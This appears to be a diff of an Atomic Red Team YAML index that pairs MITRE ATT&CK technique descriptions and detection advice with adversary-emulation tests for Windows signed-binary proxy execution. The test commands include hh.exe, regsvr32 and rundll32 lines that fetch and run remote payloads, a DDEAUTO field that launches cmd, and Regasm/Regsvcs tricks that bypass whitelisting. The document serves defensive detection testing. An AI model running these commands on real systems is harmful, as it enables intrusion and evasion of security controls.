assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) + x_mitre_detection: |- + Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. - Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) - x_mitre_permissions_required: - - User - - Administrator - identifier: T1121 + Monitor presence and use of CHM files, especially if they are not typically used within an environment. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International + created: '2018-10-17T00:14:20.652Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1223 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1223 + - description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved + October 3, 2018. + source_name: Microsoft HTML Help May 2018 + url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk + - description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved + October 3, 2018. + source_name: Microsoft HTML Help ActiveX + url: https://msdn.microsoft.com/windows/desktop/ms644670 + - description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved + October 3, 2018. + source_name: Microsoft HTML Help Executable Program + url: https://msdn.microsoft.com/windows/desktop/ms524405 + - description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using + CHM – CVE-2017-8625. Retrieved October 3, 2018. + source_name: MsitPros CHM Aug 2017 + url: https://msitpros.com/?p=3909 + - description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer + Security Feature Bypass Vulnerability. Retrieved October 3, 2018. + source_name: Microsoft CVE-2017-8625 Aug 2017 + url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625 + x_mitre_defense_bypassed: + - Application whitelisting + - Digital Certificate Validation + identifier: T1223 atomic_tests: - - name: Regasm Uninstall Method Call Test - description: 'Executes the Uninstall Method, No Admin Rights Required + - name: Compiled HTML Help Local Payload + description: 'Uses hh.exe to execute a local compiled HTML Help payload. ' supported_platforms: - windows input_arguments: - file_name: - description: Location of the payload - type: Path - default: T1121.dll - source_file: - description: Location of the CSharp source_file - type: Path - default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs + local_chm_file: + description: Local .chm payload + type: path + default: C:\atomic-red-team\atomics\T1223\src\T1223.chm executor: name: command_prompt elevation_required: false - command: | - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library #{source_file} - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name} - del #{file_name} - - name: Regsvs Uninstall Method Call Test - description: 'Executes the Uninstall Method, No Admin Rights Required, Requires - SNK + command: 'hh.exe #{local_chm_file} + +' + - name: Compiled HTML Help Remote Payload + description: 'Uses hh.exe to execute a remote compiled HTML Help payload. ' supported_platforms: - windows input_arguments: - file_name: - description: Location of the payload - type: Path - default: T1121.dll - source_file: - description: Location of the CSharp source_file - type: Path - default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs + remote_chm_file: + description: Remote .chm payload + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1223/src/T1223.chm executor: - name: powershell + name: command_prompt elevation_required: false - command: | - $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' - $Content = [System.Convert]::FromBase64String($key) - Set-Content key.snk -Value $Content -Encoding Byte - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk #{source_file} - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{file_name} - del #{file_name} - del key.snk - T1117: + command: 'hh.exe #{remote_chm_file} + +' + '': technique: - external_references: - - external_id: T1117 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1117 - - url: https://support.microsoft.com/en-us/kb/249873 - source_name: Microsoft Regsvr32 - description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and - troubleshoot Regsvr32 error messages. Retrieved June 22, 2016. - - url: https://web.archive.org/web/20161128183535/https://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html - source_name: SubTee Regsvr32 Whitelisting Bypass - description: Smith, C. (2016, April 19). Bypass Application Whitelisting Script - Protections - Regsvr32.exe & COM Scriptlets (.sct files). Retrieved June - 30, 2017. - - url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ - source_name: Carbon Black Squiblydoo Apr 2016 - description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” - Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. - Retrieved April 9, 2018.' - - url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html - source_name: FireEye Regsvr32 Targeting Mongolian Gov - description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing - Techniques Used in Attacks Targeting the Mongolian Government. Retrieved - February 24, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Casey Smith x_mitre_data_sources: - - Loaded DLLs - - Process monitoring - - Windows Registry + - Anti-virus - Process command-line parameters - modified: '2019-02-05T23:12:49.697Z' - x_mitre_detection: 'Use process monitoring to monitor the execution and arguments - of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history - of known good arguments and loaded files to determine anomalous and potentially - adversarial activity. Command arguments used before and after the regsvr32.exe - invocation may also be useful in determining the origin and purpose of the - script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process monitoring + x_mitre_permissions_required: + - User + name: User Execution + description: "An adversary may rely upon specific actions by a user in order + to gain execution. This may be direct code execution, such as when a user + opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) + with the icon and apparent extension of a document file. It also may lead + to other execution techniques, such as when a user clicks on a link delivered + via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads + to exploitation of a browser or application vulnerability via [Exploitation + for Client Execution](https://attack.mitre.org/techniques/T1203). Adversaries + may use several types of files that require a user to execute them, including + .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. \n\nAs an example, + an adversary may weaponize Windows Shortcut Files (.lnk) to bait a user into + clicking to execute the malicious payload.(Citation: Proofpoint TA505 June + 2018) A malicious .lnk file may contain [PowerShell](https://attack.mitre.org/techniques/T1086) + commands. Payloads may be included into the .lnk file itself, or be downloaded + from a remote server.(Citation: FireEye APT29 Nov 2018)(Citation: PWC Cloud + Hopper Technical Annex April 2017) \n\nWhile User Execution frequently occurs + shortly after Initial Access it may occur at other phases of an intrusion, + such as when an adversary places a file in a shared directory or on a user's + desktop hoping that a user will click on it." + id: attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5 x_mitre_platforms: + - Linux - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Process whitelisting - - Anti-virus - - Digital Certificate Validation - id: attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a - name: Regsvr32 - created: '2017-05-31T21:31:26.966Z' + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.1' - x_mitre_remote_support: false type: attack-pattern - description: |- - Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32) - - Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary. - - Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) + x_mitre_detection: |- + Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. - Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016) + Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Oleg Skulkin, Group-IB + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1204 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1204 + - description: Proofpoint Staff. (2018, June 8). TA505 shifts with the times. + Retrieved May 28, 2019. + source_name: Proofpoint TA505 June 2018 + url: https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times + - source_name: FireEye APT29 Nov 2018 + description: 'Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable + Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, + 2018.' + url: https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html + - source_name: PWC Cloud Hopper Technical Annex April 2017 + description: 'PwC and BAE Systems. (2017, April). Operation Cloud Hopper: + Technical Annex. Retrieved April 13, 2017.' + url: https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf + modified: '2019-06-21T16:28:44.872Z' + atomic_tests: [] + T1196: + technique: x_mitre_permissions_required: - User - Administrator - identifier: T1117 - atomic_tests: - - name: Regsvr32 local COM scriptlet execution - description: 'Regsvr32.exe is a command-line program used to register and unregister - OLE controls + - SYSTEM + x_mitre_data_sources: + - API monitoring + - Binary file metadata + - DLL monitoring + - Windows Registry + - Windows event logs + - Process command-line parameters + - Process monitoring + name: Control Panel Items + description: |- + Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) -' - supported_platforms: - - windows - input_arguments: - filename: - description: Name of the local file, include path. - type: Path - default: C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct - executor: - name: command_prompt - elevation_required: false - command: 'regsvr32.exe /s /u /i:#{filename} scrobj.dll + For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL) -' - - name: Regsvr32 remote COM scriptlet execution - description: 'Regsvr32.exe is a command-line program used to register and unregister - OLE controls + Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting. + x_mitre_remote_support: false + id: attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014) -' - supported_platforms: - - windows - input_arguments: - url: - description: URL to hosted sct file - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct - executor: - name: command_prompt - elevation_required: false - command: 'regsvr32.exe /s /u /i:#{url} scrobj.dll + Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: -' - - name: Regsvr32 local DLL execution - description: 'Regsvr32.exe is a command-line program used to register and unregister - OLE controls + * Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace and HKEY_CLASSES_ROOT\CLSID\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) + * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL) + * Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL) + + Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-16T21:10:28.299Z' + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1196 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1196 + - source_name: Microsoft Implementing CPL + description: M. (n.d.). Implementing Control Panel Items. Retrieved January + 18, 2018. + url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx + - source_name: TrendMicro CPL Malware Jan 2014 + description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control + Panel Items. Retrieved January 18, 2018. + url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf + - source_name: TrendMicro CPL Malware Dec 2013 + description: Bernardino, J. (2013, December 17). Control Panel Files Used + As Malicious Attachments. Retrieved January 18, 2018. + url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/ + - source_name: Palo Alto Reaver Nov 2017 + description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New + Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017. + url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/ + x_mitre_defense_bypassed: + - Application whitelisting + - Process whitelisting + identifier: T1196 + atomic_tests: + - name: Control Panel Items + description: 'This test simulates an adversary leveraging control.exe to execute + a payload and pops calc ' supported_platforms: - windows input_arguments: - dll_name: - description: Name of DLL to Execute, DLL Should export DllRegisterServer - type: Path - default: C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll + cpl_file_path: + description: path to cpl file + type: path + default: calc.cpl executor: name: command_prompt elevation_required: false - command: '"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe - /s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )" + command: 'control.exe #{cpl_file_path} ' - T1085: + T1173: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1085 - source_name: mitre-attack - external_id: T1085 - - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf - source_name: Trend Micro CPL - description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. - Retrieved November 1, 2017. - - url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ - source_name: This is Security Command Line Confusion - description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. - Retrieved March 5, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Ricardo Dias - - Casey Smith x_mitre_data_sources: - - File monitoring + - API monitoring + - DLL monitoring - Process monitoring - - Process command-line parameters - - Binary file metadata - modified: '2019-01-31T01:30:34.695Z' - x_mitre_detection: Use process monitoring to monitor the execution and arguments - of rundll32.exe. Compare recent invocations of rundll32.exe with prior history - of known good arguments and loaded DLLs to determine anomalous and potentially - adversarial activity. Command arguments used with the rundll32.exe invocation - may also be useful in determining the origin and purpose of the DLL being - loaded. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Windows Registry + - Windows event logs + x_mitre_permissions_required: + - User + name: Dynamic Data Exchange + description: |- + Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. + + Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) + + Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution. + x_mitre_remote_support: false + id: attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0 x_mitre_platforms: - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Anti-virus - - Application whitelisting - - Digital Certificate Validation - id: attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5 - name: Rundll32 - created: '2017-05-31T21:31:06.045Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.1' - x_mitre_remote_support: false type: attack-pattern - description: |- - The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. + x_mitre_detection: |- + OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017) - Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) + Monitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application. - Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) - x_mitre_permissions_required: - - User - identifier: T1085 + Monitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1173 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1173 + - description: Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature + in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017. + source_name: BleepingComputer DDE Disabled in Word Dec 2017 + url: https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/ + - source_name: Microsoft ADV170021 Dec 2017 + description: Microsoft. (2017, December 12). ADV170021 - Microsoft Office + Defense in Depth Update. Retrieved February 3, 2018. + url: https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021 + - source_name: Microsoft DDE Advisory Nov 2017 + description: Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 + - Securely opening Microsoft Office documents that contain Dynamic Data + Exchange (DDE) fields. Retrieved November 21, 2017. + url: https://technet.microsoft.com/library/security/4053440 + - source_name: SensePost PS DDE May 2016 + description: El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The + Power Within. Retrieved November 22, 2017. + url: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ + - description: Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. + Retrieved November 22, 2017. + source_name: Kettle CSV DDE Aug 2014 + url: https://www.contextis.com/blog/comma-separated-vulnerabilities + - source_name: Enigma Reviving DDE Jan 2018 + description: 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and + Excel for Code Execution. Retrieved February 3, 2018.' + url: https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee + - source_name: SensePost MacroLess DDE Oct 2017 + description: Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code + Exec in MSWord. Retrieved November 21, 2017. + url: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ + - source_name: NVisio Labs DDE Detection Oct 2017 + description: NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. + Retrieved November 21, 2017. + url: https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ + modified: '2019-07-24T17:34:38.321Z' + identifier: T1173 atomic_tests: - - name: Rundll32 execute JavaScript Remote Payload With GetObject - description: 'Test execution of a remote script using rundll32.exe + - name: Execute Commands + description: 'Executes commands via DDE using Microsfot Word ' supported_platforms: - windows - input_arguments: - file_url: - description: location of the payload - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct executor: - name: command_prompt - elevation_required: false - command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();" + name: manual + steps: | + Open Microsoft Word -' - T1053: + Insert tab -> Quick Parts -> Field + + Choose = (Formula) and click ok. + + After that, you should see a Field inserted in the document with an error "!Unexpected End of Formula", right-click the Field, and choose Toggle Field Codes. + + The Field Code should now be displayed, change it to Contain the following: + + {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" } + T1118: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1053 - source_name: mitre-attack - external_id: T1053 - - url: https://capec.mitre.org/data/definitions/557.html - source_name: capec - external_id: CAPEC-557 - - url: https://technet.microsoft.com/en-us/library/cc785125.aspx - source_name: TechNet Task Scheduler Security - description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved - June 8, 2016. - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. - - url: https://twitter.com/leoloobeek/status/939248813465853953 - source_name: Twitter Leoloobeek Scheduled Task - description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved - December 12, 2017. - - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - source_name: TechNet Forum Scheduled Task Operational Setting - description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention - settings. Retrieved December 12, 2017. - - url: https://technet.microsoft.com/library/dd315590.aspx - source_name: TechNet Scheduled Task Events - description: Microsoft. (n.d.). General Task Registration. Retrieved December - 12, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Leo Loobeek, @leoloobeek - - Travis Smith, Tripwire - - Alain Homewood, Insomnia Security - x_mitre_permissions_required: - - Administrator - - SYSTEM - - User x_mitre_data_sources: - - File monitoring - Process monitoring - Process command-line parameters - - Windows event logs - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - - Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events) - - * Event ID 106 - Scheduled task registered - * Event ID 140 - Scheduled task updated - * Event ID 141 - Scheduled task removed - - Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. + x_mitre_permissions_required: + - User + name: InstallUtil + description: |- + InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. - Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute 